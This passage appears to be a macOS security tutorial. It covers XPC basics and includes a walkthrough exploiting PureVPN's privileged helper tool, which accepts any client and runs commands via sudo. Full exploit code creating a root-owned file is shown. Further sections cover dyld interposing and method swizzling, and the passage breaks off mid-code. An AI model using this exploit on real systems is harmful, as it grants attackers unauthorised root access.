1. Service Registration: XPC services register themselves with the operating system, making them available to clients.
2. Client Requests: Clients send requests to the XPC service for specific tasks or information.
3. Message Passing: Communication is done through messages passed between the client and the service via Mach ports.
4. Response Handling: The XPC service processes the request and sends back a response to the client.

Creating Server and Client

XPC Service (Server)

Part 1

#import <Foundation/Foundation.h>

@protocol ServiceProtocol
- (void)upperCaseString:(NSString *)aString withReply:(void (^)(NSString *))reply;
@end

@interface Service : NSObject <ServiceProtocol>
@end

• Define a protocol ServiceProtocol with a method upperCaseString:withReply:.
• Declare the Service class that conforms to this protocol.

Part 2

@implementation Service

- (void)upperCaseString:(NSString *)aString withReply:(void (^)(NSString *))reply {
    NSString *response = [aString uppercaseString];
    reply(response);
}

@end

• Implement the upperCaseString:withReply: method to convert a string to uppercase and call the reply block with the result.

Part3

@interface ServiceDelegate : NSObject <NSXPCListenerDelegate>
@end

@implementation ServiceDelegate

- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
    newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(ServiceProtocol)];
    newConnection.exportedObject = [Service new];
    [newConnection resume];
    return YES;
}

@end

int main(int argc, const char *argv[]) {
    @autoreleasepool {
        NSXPCListener *listener = [NSXPCListener serviceListener];
        ServiceDelegate *delegate = [ServiceDelegate new];
        listener.delegate = delegate;
        [listener resume];
    }
    return 0;
}

• Define a ServiceDelegate class that conforms to NSXPCListenerDelegate.
• Implement the listener:shouldAcceptNewConnection: method to configure new connections.
• In the main function, create an NSXPCListener for the service, set its delegate, and resume it to start listening for connections.

XPC Client

main.m

#import <Foundation/Foundation.h>

@protocol ServiceProtocol
- (void)upperCaseString:(NSString *)aString withReply:(void (^)(NSString *))reply;
@end

int main(int argc, const char *argv[]) {
    @autoreleasepool {
        NSXPCConnection *connection = [[NSXPCConnection alloc] initWithServiceName:@"com.example.service"];
        connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(ServiceProtocol)];
        [connection resume];

        id<ServiceProtocol> proxy = [connection remoteObjectProxyWithErrorHandler:^(NSError *error) {
            NSLog(@"Remote proxy error: %@", error);
        }];

        [proxy upperCaseString:@"hello, server!" withReply:^(NSString *response) {
            NSLog(@"Received response: %@", response);
            exit(0);
        }];

        [[NSRunLoop currentRunLoop] run];
    }
    return 0;
}

Define the ServiceProtocol to match the service protocol. Create an NSXPCConnection with the service name com.example.service. Then Set the remote object interface using NSXPCInterface with the ServiceProtocol. Resume the connection to start communication. After that Get a remote object proxy that conforms to ServiceProtocol and Call the upperCaseString:withReply: method on the proxy with a string and a reply block. Start the run loop to keep the client running until the reply is received.

sequenceDiagram
    participant Client
    participant NSXPCConnection
    participant NSXPCListener
    participant Service

    Client->>NSXPCConnection: Create connection to "com.example.service"
    NSXPCConnection->>NSXPCListener: Establish connection
    Client->>Service: Send request "hello, server!"
    Service->>Service: Process the request
    Service-->>Client: Send response "HELLO, SERVER!"

When XPC can be vulnerable

Guide for Attacking XPC

I will be using PureVpn.app as an example for the guide.

Find Mach Services & Privileged Tools

You can find XPC related to an App, In 2 places either inside the app under:

• /Applications/theapp.app/Contents/XPCServices
• /Applications/theapp.app/Contents/Library And in the following directories the configuerations:
• /System/Library/LaunchDaemons
• /Library/LaunchDaemons
• /System/Library/LaunchAgents
• /Library/LaunchAgents Mostly The HelperTools is under /Library/PrivilegedHelperTools/.

Identify the Services & Privileged Tools

Under /Library/LaunchDaemons, Wew can see the LaunchDaemons related to PureVpn:

~ % ls /Library/LaunchDaemons | grep pure
com.purevpn.macapp.HelperTool.plist

When we look at the com.purevpn.macapp.HelperTool.plist, We can see the following:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>Debug</key>
	<true/>
	<key>Label</key>
	<string>com.purevpn.macapp.HelperTool</string>
	<key>MachServices</key>
	<dict>
		<key>com.purevpn.macapp.HelperTool</key>
		<true/>
	</dict>
	<key>Program</key>
	<string>/Library/PrivilegedHelperTools/com.purevpn.macapp.HelperTool</string>
	<key>ProgramArguments</key>
	<array>
		<string>/Library/PrivilegedHelperTools/com.purevpn.macapp.HelperTool</string>
	</array>
	<key>StandardErrorPath</key>
	<string>/var/log/PureVPNHelperLayer.log</string>
	<key>StandardOutPath</key>
	<string>/var/log/PureVPNHelperLayer.log</string>
</dict>
</plist>

We can see 2 things here, MachServices, Let’s Note it. And the HelperTool under the following path /Library/PrivilegedHelperTools/com.purevpn.macapp.HelperTool.

Authorization & Verification

Before Connecting to the HelperTool, There are some authorizations & verifications to be done to make sure of the client who is connecting, We have EvenBetterAuthorization, You can read about it from here to understand why it’s not enough for securing for verifying the client.

Reverse HelperTool

The first thing We have to do, When we get to reverse the HelperTool. Is to check the verifications for connecting to the services:

/* @class HelperTool */
-(char)listener:(void *)arg2 shouldAcceptNewConnection:(void *)arg3 {
    r15 = self;
    rbx = [arg2 retain];
    var_30 = rbx;
    r12 = [arg3 retain];
    rax = [r15 listener];
    rax = [rax retain];
    if (rax == rbx) {
            [rax release];
            if (r12 != 0x0) {
                    rbx = [[NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)] retain];
                    [r12 setExportedInterface:rbx];
                    [rbx release];
                    [r12 setExportedObject:r15];
                    [r12 resume];
                    [r12 release];
                    [var_30 release];
                    rax = 0x1;
            }
            else {
                    rax = __assert_rtn("-[HelperTool listener:shouldAcceptNewConnection:]", "/Users/salmanahmed/Projects/Xcode-Project/Git-Repo/PureVPNMac-Project/PureVPN-Repo/purevpn-mac-app/HelperTool/HelperTool.m", 0x7c, "newConnection != nil");
            }
    }
    else {
            rax = __assert_rtn("-[HelperTool listener:shouldAcceptNewConnection:]", "/Users/salmanahmed/Projects/Xcode-Project/Git-Repo/PureVPNMac-Project/PureVPN-Repo/purevpn-mac-app/HelperTool/HelperTool.m", 0x7a, "listener == self.listener");
    }
    return rax;
}

We can see here that, Anyone can connect to the XPC without any verifications. Now, It’s time to check the methods offered by com.purevpn.macapp.HelperTool. That can be exploited, We will use class-dump, We got the following results:

@protocol HelperToolProtocol
- (void)runWithCommand:(NSString *)arg1 withArguments:(NSArray *)arg2 usingSudo:(BOOL)arg3 withReply:(void (^)(BOOL))arg4;
- (void)setSecureDNSWithServiceId:(NSString *)arg1 withDNS:(NSArray *)arg2 WithReply:(void (^)(BOOL))arg3;
- (void)setMTUInterface:(NSString *)arg1 mtuValue:(NSString *)arg2 WithReply:(void (^)(BOOL))arg3;
- (void)disconnectSSTP:(void (^)(BOOL))arg1;
- (void)executeSudo:(NSArray *)arg1 WithReply:(void (^)(_Bool, NSString *, NSString *))arg2;
- (void)connectSSTP:(NSString *)arg1 withAccount:(NSString *)arg2 andPassword:(NSString *)arg3 Executable:(NSString *)arg4 mtuInterfaceValue:(NSString *)arg5 withReply:(void (^)(BOOL))arg6;
- (void)copyIPSECFiles:(NSArray *)arg1;
- (void)copySSTPFiles:(NSArray *)arg1;
- (void)executePreferencesRefInHelperToolWithReply:(void (^)(BOOL))arg1;
- (void)executeTestFunctionInHelperToolWithReply:(void (^)(BOOL))arg1;
- (void)getVersionsWithReply:(void (^)(NSString *))arg1;
- (void)deactivateOnStartupWithReply:(void (^)(BOOL))arg1;
- (void)activateOnStartupWithReply:(void (^)(BOOL))arg1;
- (void)removeAllRulesWithReply:(void (^)(BOOL))arg1;
- (void)setRules:(NSString *)arg1 withReply:(void (^)(BOOL))arg2;
- (void)setIpv6Leak:(BOOL)arg1 networkInterfaces:(NSArray *)arg2 withReply:(void (^)(BOOL))arg3;
- (void)executeVPNServiceConfigServer:(NSString *)arg1 withAccount:(NSString *)arg2 andPassword:(NSString *)arg3 andShareSecret:(NSString *)arg4 andType:(unsigned long long)arg5 HelperToolWithReply:(void (^)(NSString *, unsigned long long, int))arg6;
- (void)createXAuthKeyChainItemAuthorization:(NSData *)arg1 lable:(NSString *)arg2 forService:(NSString *)arg3 withPassword:(NSString *)arg4 withReply:(void (^)(NSError *))arg5;
- (void)createSharedSecretKeyChainItemAuthorization:(NSData *)arg1 lable:(NSString *)arg2 forService:(NSString *)arg3 withPassword:(NSString *)arg4 withReply:(void (^)(NSError *))arg5;
- (void)createPasswordKeyChainItemAuthorization:(NSData *)arg1 lable:(NSString *)arg2 forService:(NSString *)arg3 withAccount:(NSString *)arg4 andPassword:(NSString *)arg5 withReply:(void (^)(NSError *))arg6;
- (void)createServicesAuthorization:(NSData *)arg1 configObj:(NewVPNServiceConfig *)arg2 usingPreferencesRef:(SCPreferencesRef)arg3 withReply:(void (^)(NSError *))arg4;
- (void)testFunctionAppsAuthorization:(NSData *)arg1 configObj:(NewVPNServiceConfig *)arg2 usingPreferencesRef:(SCPreferencesRef)arg3 withReply:(void (^)(NSError *))arg4;
- (void)bindToLowNumberPortAuthorization:(NSData *)arg1 withReply:(void (^)(NSError *, NSFileHandle *, NSFileHandle *))arg2;
- (void)writeLicenseKey:(NSString *)arg1 authorization:(NSData *)arg2 withReply:(void (^)(NSError *))arg3;
- (void)readLicenseKeyAuthorization:(NSData *)arg1 withReply:(void (^)(NSError *, NSString *))arg2;
- (void)getVersionWithReply:(void (^)(NSString *))arg1;
- (void)connectWithEndpointReply:(void (^)(NSXPCListenerEndpoint *))arg1;
@end

The tool helper offers a lot of methods, But the most interested one is runWithCommand:

/* @class HelperTool */
-(void)runWithCommand:(void *)arg2 withArguments:(void *)arg3 usingSudo:(char)arg4 withReply:(void *)arg5 {
    r12 = [arg2 retain];
    r15 = [arg3 retain];
    r13 = [arg5 retain];
    NSLog(@"%s   %@", "-[HelperTool runWithCommand:withArguments:usingSudo:withReply:]", r15);
    rbx = [self runCommand:r12 withArguments:r15 usingSudo:arg4];
    [r15 release];
    [r12 release];
    (*(r13 + 0x10))(arg5, sign_extend_64(rbx));
    [r13 release];
    return;
}

The function here, Passes the parameters to rbx = [self runCommand:r12 withArguments:r15 usingSudo:arg4];, When we check runCommand:

/* @class HelperTool */
-(char)runCommand:(void *)arg2 withArguments:(void *)arg3 usingSudo:(char)arg4 {
    r12 = arg3;
    r14 = self;
    r15 = [arg2 retain];
    if (arg4 != 0x0) {
            var_38 = r15;
            r13 = [r12 retain];
            rax = [NSArray arrayWithObjects:&var_38 count:0x1];
            rax = [rax retain];
            rbx = [rax arrayByAddingObjectsFromArray:r13];
            r12 = r15;
            r15 = r14;
            [r13 release];
            rbx = [rbx retain];
            rdi = r15;
            r15 = r12;
            r14 = [rdi runCommand:@"/usr/bin/sudo" withArguments:rbx];
            [rbx release];
            [rax release];
    }
    else {
            rbx = [r12 retain];
            r14 = [r14 runCommand:r15 withArguments:rbx];
            [rbx release];
    }
    var_30 = **___stack_chk_guard;
    [r15 release];
    if (**___stack_chk_guard == var_30) {
            rax = sign_extend_64(r14);
    }
    else {
            rax = __stack_chk_fail();
    }
    return rax;
}

It checks if arg4 is not 0, If it’s true, Then it will execute the command with sudo (as root):

r14 = [rdi runCommand:@"/usr/bin/sudo" withArguments:rbx];

We can abuse it to esclate our priviliges, By executing commands as root.

Writing The Exploit

The argument for the method offered by the HelperTool has the following arguments:

• (NSString *)arg1: Which is a string (command).
• withArguments:(NSArray *)arg2: The arguments for the command.
• usingSudo:(BOOL)arg3: Argument to use sudo or no.
• withReply:(void (^)(BOOL))arg4;: The XPC reply.

First define the protocol and services variable

#import <Foundation/Foundation.h>

// MachServices to connect to
static NSString* kXPCHelperMachService = @"com.purevpn.macapp.HelperTool";

// Protocol of HelperTool to be used
@protocol HelperToolProtocol
- (void)runWithCommand:(NSString *)arg1 withArguments:(NSArray *)arg2 usingSudo:(BOOL)arg3 withReply:(void (^)(BOOL))arg4;
- (void)setSecureDNSWithServiceId:(NSString *)arg1 withDNS:(NSArray *)arg2 WithReply:(void (^)(BOOL))arg3;
- (void)setMTUInterface:(NSString *)arg1 mtuValue:(NSString *)arg2 WithReply:(void (^)(BOOL))arg3;
- (void)disconnectSSTP:(void (^)(BOOL))arg1;
- (void)executeSudo:(NSArray *)arg1 WithReply:(void (^)(_Bool, NSString *, NSString *))arg2;
- (void)connectSSTP:(NSString *)arg1 withAccount:(NSString *)arg2 andPassword:(NSString *)arg3 Executable:(NSString *)arg4 mtuInterfaceValue:(NSString *)arg5 withReply:(void (^)(BOOL))arg6;
- (void)copyIPSECFiles:(NSArray *)arg1;
- (void)copySSTPFiles:(NSArray *)arg1;
- (void)executePreferencesRefInHelperToolWithReply:(void (^)(BOOL))arg1;
- (void)executeTestFunctionInHelperToolWithReply:(void (^)(BOOL))arg1;
- (void)getVersionsWithReply:(void (^)(NSString *))arg1;
- (void)deactivateOnStartupWithReply:(void (^)(BOOL))arg1;
- (void)activateOnStartupWithReply:(void (^)(BOOL))arg1;
- (void)removeAllRulesWithReply:(void (^)(BOOL))arg1;
- (void)setRules:(NSString *)arg1 withReply:(void (^)(BOOL))arg2;
- (void)setIpv6Leak:(BOOL)arg1 networkInterfaces:(NSArray *)arg2 withReply:(void (^)(BOOL))arg3;
- (void)executeVPNServiceConfigServer:(NSString *)arg1 withAccount:(NSString *)arg2 andPassword:(NSString *)arg3 andShareSecret:(NSString *)arg4 andType:(unsigned long long)arg5 HelperToolWithReply:(void (^)(NSString *, unsigned long long, int))arg6;
- (void)createXAuthKeyChainItemAuthorization:(NSData *)arg1 lable:(NSString *)arg2 forService:(NSString *)arg3 withPassword:(NSString *)arg4 withReply:(void (^)(NSError *))arg5;
- (void)createSharedSecretKeyChainItemAuthorization:(NSData *)arg1 lable:(NSString *)arg2 forService:(NSString *)arg3 withPassword:(NSString *)arg4 withReply:(void (^)(NSError *))arg5;
- (void)createPasswordKeyChainItemAuthorization:(NSData *)arg1 lable:(NSString *)arg2 forService:(NSString *)arg3 withAccount:(NSString *)arg4 andPassword:(NSString *)arg5 withReply:(void (^)(NSError *))arg6;
- (void)createServicesAuthorization:(NSData *)arg1 configObj:(NewVPNServiceConfig *)arg2 usingPreferencesRef:(SCPreferencesRef)arg3 withReply:(void (^)(NSError *))arg4;
- (void)testFunctionAppsAuthorization:(NSData *)arg1 configObj:(NewVPNServiceConfig *)arg2 usingPreferencesRef:(SCPreferencesRef)arg3 withReply:(void (^)(NSError *))arg4;
- (void)bindToLowNumberPortAuthorization:(NSData *)arg1 withReply:(void (^)(NSError *, NSFileHandle *, NSFileHandle *))arg2;
- (void)writeLicenseKey:(NSString *)arg1 authorization:(NSData *)arg2 withReply:(void (^)(NSError *))arg3;
- (void)readLicenseKeyAuthorization:(NSData *)arg1 withReply:(void (^)(NSError *, NSString *))arg2;
- (void)getVersionWithReply:(void (^)(NSString *))arg1;
- (void)connectWithEndpointReply:(void (^)(NSXPCListenerEndpoint *))arg1;
@end

Second initialize our XPC connection

Now, We will start connecting to the service and exploit the method:

• Initialize XPC connection for our MachServices

int main(void) {

		
    NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:kXPCHelperMachService];

• Initialize interface with the protocol

    NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];

• Set the interface and Start the connection

	[connection setRemoteObjectInterface:interface];
	[connection resume];

• Define the connection object

    id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError *error) {
        if (error) {
            NSLog(@"[+] Error: %@", error);
        }
    }];

• Before calling the runWithCommand Method we need to define the arguments

	// Define the command
	NSString* cmd = @"touch";
	
	// Define command arguments
	    NSArray* args = [NSArray arrayWithObjects:@"/tmp/zeyadazima.com", @"", nil];

• Now, Call the method from the object

    [obj runWithCommand:cmd withArguments:args usingSudo:YES withReply:^(BOOL err) {
        NSLog(@"[+] Reply, %d", err);
    }];
    
    return 0;
}

• Results

 ~ % cd /tmp   
/tmp % ls
com.apple.installerUHykChAa	powerlog
com.apple.launchd.l1jND8ppqA	tmp0000468a
/tmp % ./pure 
/tmp % ls -l
total 0
drwx------  3 zeyadazima.com_macenv  wheel  96 Jun 10 05:24 com.apple.installerUHykChAa
drwx------  3 zeyadazima.com_macenv  wheel  96 Jun 10 03:33 com.apple.launchd.l1jND8ppqA
drwxr-xr-x  2 root            wheel  64 Jun  8 09:10 powerlog
drwx------  3 root            wheel  96 Jun 10 05:25 tmp0000468a
-rw-r--r--  1 root            wheel   0 Jun 10 22:32 zeyadazima.com

We can see that the results shows that the file created successfully.

macOS Function Hooking

Function Interposing

Function interposing on macOS is a technique that allows you to override or intercept calls to existing functions within dynamic libraries at runtime. This can be useful for various purposes, such as debugging, profiling, or altering the behavior of existing functions without modifying the source code. To create a dylib for function interposing, you need to add an __interpose section (or a section flagged with S_INTERPOSING) in the DATA segment of the Mach-O file. This section will contain pairs of function pointers linking the original and replacement functions. Then, use DYLD_INSERT_LIBRARIES to inject the dylib into the target application, as interposing must occur before the main application loads.

How Function Interposing Works

1. Dynamic Linker and DYLD: macOS uses a dynamic linker (dyld) that handles the loading of dynamic libraries (dylibs) and the resolution of function addresses at runtime.
2. Interposing Functions: By using specific linker options and environment variables, you can tell dyld to replace certain function calls with your own implementations.
3. Interposing Dylib: You create a custom dynamic library that provides your versions of the functions you want to interpose.
4. Environment Variables: You set environment variables (e.g., DYLD_INSERT_LIBRARIES) to specify the path to your interposing dylib.

Steps to Implement Function Interposing

#include <stdio.h>
#include <fcntl.h>
#include <stdarg.h>
#include <dlfcn.h>

int my_open(const char *path, int oflag, ...) {
    printf("Intercepted open call: %s\n", path);

    // Call the original open function
    va_list args;
    va_start(args, oflag);
    int mode = va_arg(args, int);
    int (*original_open)(const char *, int, ...) = dlsym(RTLD_NEXT, "open");
    va_end(args);

    return original_open(path, oflag, mode);
}

DYLD_INTERPOSE(my_open, open);

let’’s explain our code here in steps:

1. Define the Interposing Macro

Define the DYLD_INTERPOSE macro in your C file. This macro helps create an __interpose section in the Mach-O file.

#define DYLD_INTERPOSE(_replacement, _replacee) \
    __attribute__((used)) static struct { \
        const void* replacement; \
        const void* replacee; \
    } _interpose_##_replacee __attribute__ ((section("__DATA,__interpose"))) = { \
        (const void*) (unsigned long) &_replacement, \
        (const void*) (unsigned long) &_replacee \
    };

1. Implement the Custom open Function

Define your custom version of open. This function will replace the original open when the dylib is injected.

#include <stdio.h>
#include <fcntl.h>
#include <stdarg.h>
#include <dlfcn.h>

int my_open(const char *path, int oflag, ...) {
    printf("Intercepted open call: %s\n", path);

    // Call the original open function
    va_list args;
    va_start(args, oflag);
    int mode = va_arg(args, int);
    int (*original_open)(const char *, int, ...) = dlsym(RTLD_NEXT, "open");
    va_end(args);

    return original_open(path, oflag, mode);
}

1. Call the Interposing Macro

Use the DYLD_INTERPOSE macro to specify the replacement of open with my_open.

DYLD_INTERPOSE(my_open, open);

1. Compile the Interposing Dylib

gcc -dynamiclib interpose.c -o interpose.dylib

1. Verify the Interpose Section

Use the size command to verify the presence of the __interpose section in the compiled dylib.

size -x -m -l interpose.dylib

Expected output should show an __interpose section in the __DATA segment.

1. Inject the Dylib and Run the Application

Use the DYLD_INSERT_LIBRARIES environment variable to inject the interposing dylib into your application.

export DYLD_INSERT_LIBRARIES=./interpose.dylib
export DYLD_FORCE_FLAT_NAMESPACE=1
./your_application

sequenceDiagram
    participant UserApp
    participant DYLD
    participant InterposeDylib
    participant OriginalLib

    UserApp->>DYLD: Load UserApp
    DYLD->>InterposeDylib: Load InterposeDylib
    InterposeDylib->>OriginalLib: Load OriginalLib (if needed)

    UserApp->>DYLD: Call open()
    DYLD->>InterposeDylib: Redirect to interposing open()
    InterposeDylib->>InterposeDylib: Print intercepted message
    InterposeDylib->>OriginalLib: Call original open()
    OriginalLib-->>InterposeDylib: Return from open()
    InterposeDylib-->>UserApp: Return from open()

1. Dynamic Linker and DYLD:
   • The user application (UserApp) is loaded by the dynamic linker (DYLD).
2. Interposing Functions:
   • DYLD loads the interposing dynamic library (InterposeDylib) which contains the interposed function implementations.
   • If necessary, InterposeDylib will also load the original library (OriginalLib).
3. Environment Variables:
   • The environment variable (DYLD_INSERT_LIBRARIES) instructs DYLD to use the interposing dylib for specific function calls.
   • When UserApp calls a function like open, DYLD redirects this call to the interposing function in InterposeDylib.
   • The interposing function can perform additional actions (e.g., printing a message) before calling the original function from OriginalLib.
   • The result of the original function is returned back through the interposing dylib to the user application.

IOCTL Interposing

Interposing ioctl calls on macOS allows you to override or intercept calls to the ioctl function within dynamic libraries at runtime. This can be useful for purposes such as kernel driver fuzzing and analysis, debugging, profiling, or altering the behavior of existing functions without modifying the source code. To create a dylib for interposing ioctl calls, you need to add an __interpose section (or a section flagged with S_INTERPOSING) in the DATA segment of the Mach-O file. This section will contain pairs of function pointers linking the original and replacement functions. Then, use DYLD_INSERT_LIBRARIES to inject the dylib into the target application, as interposing must occur before the main application loads.

How Interposing ioctl Calls Works

1. Dynamic Linker and DYLD: macOS uses a dynamic linker (dyld) that handles the loading of dynamic libraries (dylibs) and the resolution of function addresses at runtime.
2. Interposing Functions: By using specific linker options and environment variables, you can tell dyld to replace certain function calls with your own implementations.
3. Interposing Dylib: You create a custom dynamic library that provides your versions of the functions you want to interpose.
4. Environment Variables: You set environment variables (e.g., DYLD_INSERT_LIBRARIES) to specify the path to your interposing dylib.

Steps to Implement Interposing ioctl Calls

#include <sys/ioctl.h>
#include <stdio.h>
#include <stdarg.h>

#define DYLD_INTERPOSE(_replacement, _replacee) \
__attribute__((used)) static struct { \
    const void* replacement; \
    const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA,__interpose"))) = { \
    (const void*) (unsigned long) &_replacement, \
    (const void*) (unsigned long) &_replacee \
};

int my_ioctl(int d, unsigned long request, void *data) {
    printf("[+] IOCTL Request Information: 0x%x, 0x%lx\n", d, request);
    return (ioctl(d, request, data));
}

DYLD_INTERPOSE(my_ioctl, ioctl);

1. Define the Interposing Macro

Define the DYLD_INTERPOSE macro in your C file. This macro helps create an __interpose section in the Mach-O file.

#define DYLD_INTERPOSE(_replacement, _replacee) \
    __attribute__((used)) static struct { \
        const void* replacement; \
        const void* replacee; \
    } _interpose_##_replacee __attribute__ ((section("__DATA,__interpose"))) = { \
        (const void*) (unsigned long) &_replacement, \
        (const void*) (unsigned long) &_replacee \
    };

1. Implement the Custom ioctl Function

Define your custom version of ioctl. This function will replace the original ioctl when the dylib is injected.

#include <sys/ioctl.h>
#include <stdio.h>
#include <stdarg.h>

int my_ioctl(int d, unsigned long request, void *data) {
    printf("[+] IOCTL Request Information: 0x%x, 0x%lx\n", d, request);
    return (ioctl(d, request, data));
}

1. Call the Interposing Macro

Use the DYLD_INTERPOSE macro to specify the replacement of ioctl with my_ioctl.

DYLD_INTERPOSE(my_ioctl, ioctl);

1. Compile the Interposing Dylib

gcc -dynamiclib interpose.c -o interpose.dylib

1. Verify the Interpose Section

Use the size command to verify the presence of the __interpose section in the compiled dylib.

size -x -m -l interpose.dylib

Expected output should show an __interpose section in the __DATA segment.

1. Inject the Dylib and Run the Application

Use the DYLD_INSERT_LIBRARIES environment variable to inject the interposing dylib into your application.

export DYLD_INSERT_LIBRARIES=./interpose.dylib
export DYLD_FORCE_FLAT_NAMESPACE=1
/App

TIPs

1. Segmentation Fault

If the application crashes with a segmentation fault, inspect the crash log to identify the cause. You might encounter an infinite loop if the interposed function calls another function that ends up calling back the interposed function.

• Crash Reports

User crash reports are typically located in the ~/Library/Logs/DiagnosticReports/ directory. Each crash report file is named with the application name and a timestamp.

/Users/<your_username>/Library/Logs/DiagnosticReports/

• System Crash Reports

System crash reports are stored in the /Library/Logs/DiagnosticReports/ directory. These reports are accessible to all users with appropriate permissions.

/Library/Logs/DiagnosticReports/

• Debugging

Finally we could use lldb, To debug it.

1. Avoiding Infinite Loops

To avoid infinite loops, ensure that your interposed function does not invoke the original function in a way that causes it to call back into your interposed function. For example, avoid using printf inside an interposed function if printf itself might invoke the original function.

int my_ioctl(int d, unsigned long request, void *data) {
    if (request != request_id) { // Exclude specific request to avoid loop
        printf("[+] IOCTL Request Information: 0x%x, 0x%lx\n", d, request);
    }
    return (ioctl(d, request, data));
}

Objective-C Method Swizzling

Method swizzling is a technique used to change the implementation of an existing method at runtime. This is particularly useful in scenarios where you want to alter or extend the behavior of a method without modifying its original code. We’ll explore two techniques for method swizzling in Objective-C: using categories and using C functions.

Technique 1: Using Categories

In this example, we’ll hook the length method of the NSString class to log a message whenever it is called. This involves creating a new category for NSString and performing the swizzling.

Step 1: Create a Category

First, we create a new category for NSString called NewNSString and add our custom custom_length method.

Code:

#import <Foundation/Foundation.h>
#import <objc/runtime.h>

@interface NSString (NewNSString)
- (NSUInteger) custom_length;
@end

@implementation NSString (NewNSString)

- (NSUInteger) custom_length {
    NSLog(@"Hooked the length method!");
    return [self custom_length]; // This will call the original length method after swizzling
}
@end

• Category Declaration: We declare a category NewNSString for the NSString class, adding a new method custom_length.
• Method Implementation: We implement custom_length to log a message before calling itself. Initially, this would cause an infinite loop, but after swizzling, it will call the original length method.

Step 2: Perform the Swizzling

Next, we perform the actual swizzling by swapping the implementations of the original length method and our custom_length method.

Code:

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        Class class = [NSString class];
        SEL originalSelector = @selector(length);
        SEL swizzledSelector = @selector(custom_length);
        
        Method originalMethod = class_getInstanceMethod(class, originalSelector);
        Method swizzledMethod = class_getInstanceMethod(class, swizzledSelector);
        
        method_exchangeImplementations(originalMethod, swizzledMethod);
        
        // Test the swizzling
        NSString *testString = @"Hello, World!";
        NSLog(@"Length: %lu", (unsigned long)[testString length]);
    }
    return 0;
}

• Class and Selectors: We obtain the NSString class and the selectors for the original and custom methods (length and custom_length).
• Methods: We use class_getInstanceMethod to retrieve the method implementations for these selectors.
• Swizzling: We use method_exchangeImplementations to swap the implementations of the two methods.
• Test: We create an NSString instance and call the length method, which now logs a message due to our swizzling.

Output:

2024-06-25 12:00:00.000000+0000 swizzling[10172:4293511] Hooked the length method!
2024-06-25 12:00:00.000000+0000 swizzling[10172:4293511] Length: 13

Technique 2: Using C Functions

For the second technique, we create a new C function and use method_setImplementation to update the method’s implementation pointer.

Step 1: Define the C Function

We define our custom custom_length function and a placeholder for the original function pointer.

Code:

#import <Foundation/Foundation.h>
#import <objc/runtime.h>

static IMP original_length = NULL;

static NSUInteger custom_length(id self, SEL _cmd) {
    NSLog(@"Hooked the length method with C function!");
    return ((NSUInteger (*)(id, SEL))original_length)(self, _cmd);
}

• Static IMP Pointer: We declare a static IMP (method pointer) to hold the original length method’s implementation.
• Custom Function: We define custom_length to log a message and then call the original length method using the original_length pointer. The first two parameters of the function are id self (the object) and SEL _cmd (the selector).

Step 2: Update the Method Implementation

Next, we update the method implementation to point to our custom function.

Code:

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        Class class = [NSString class];
        Method originalMethod = class_getInstanceMethod(class, @selector(length));
        
        original_length = method_setImplementation(originalMethod, (IMP)custom_length);
        
        // Test the swizzling
        NSString *testString = @"Hello, World!";
        NSLog(@"Length: %lu", (unsigned long)[testString length]);
    }
    return 0;
}

• Class and Method: We obtain the NSString class and the length method.
• Update Implementation: We use method_setImplementation to replace the original length method with our custom_length function. The original method’s implementation is stored in original_length.
• Test: We create an NSString instance and call the length method, which now logs a message due to our custom function.

Output:

2024-06-25 12:00:00.000000+0000 swizzling[10419:4306252] Hooked the length method with C function!
2024-06-25 12:00:00.000000+0000 swizzling[10419:4306252] Length: 13

How It Works ?

Categories and Swizzling

1. Categories: Categories in Objective-C allow you to add new methods to existing classes without subclassing. This feature is used to introduce the custom_length method to the NSString class.
2. Selectors and Methods: A selector (SEL) is the name of a method, and a method (Method) is a reference to the implementation of that method.
3. Swizzling: Swizzling involves swapping the implementations of two methods. method_exchangeImplementations is used to exchange the implementations of the original method and the custom method. After swizzling, calling the original method will execute the custom implementation and vice versa.

C Functions and Swizzling

1. IMP Pointers: An IMP is a pointer to the start of a method implementation. By storing the original method’s IMP, you can call the original method from within your custom implementation.
2. Custom Function: The custom function mimics the method signature of the original method and can perform additional operations (e.g., logging) before or after calling the original method.
3. Method Replacement: method_setImplementation replaces the implementation of a method with a new function, allowing you to intercept calls to the method and redirect them to your custom function.

Guide for Method Swizzling with MD5App

In this example, we will create an Objective-C application that generates a random message, computes its MD5 hash, and then uses method swizzling to intercept and log the original message. We will break down each part of the process to explain how and why it works.

Step 1: Create the MD5 Application

First, we create a simple Objective-C application that generates a random message, computes its MD5 hash, and prints out the hash.

MD5App.m:

#import <Foundation/Foundation.h>
#import <CommonCrypto/CommonDigest.h>

// Interface for the MD5 generator class
@interface MD5Generator : NSObject
- (NSString *)md5HashOfString:(NSString *)input;
@end

@implementation MD5Generator

// Function to compute MD5 hash
- (NSString *)md5HashOfString:(NSString *)input {
    const char *cStr = [input UTF8String];
    unsigned char digest[CC_MD5_DIGEST_LENGTH];
    CC_MD5(cStr, (CC_LONG)strlen(cStr), digest);

    NSMutableString *output = [NSMutableString stringWithCapacity:CC_MD5_DIGEST_LENGTH * 2];
    for (int i = 0; i < CC_MD5_DIGEST_LENGTH; i++) {
        [output appendFormat:@"%02x", digest[i]];
    }

    return output;
}

@end

// Function to generate a random string of a given length
NSString *generateRandomString(NSUInteger length) {
    NSString *letters = @"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
    NSMutableString *randomString = [NSMutableString stringWithCapacity:length];
    for (NSUInteger i = 0; i < length; i++) {
        [randomString appendFormat: @"%C", [letters characterAtIndex: arc4random_uniform((uint32_t)[letters length])]];
    }
    return randomString;
}

// Function to get user input from the command line
NSString *getUserInput() {
    char inputChars[256];
    fgets(inputChars, 256, stdin);
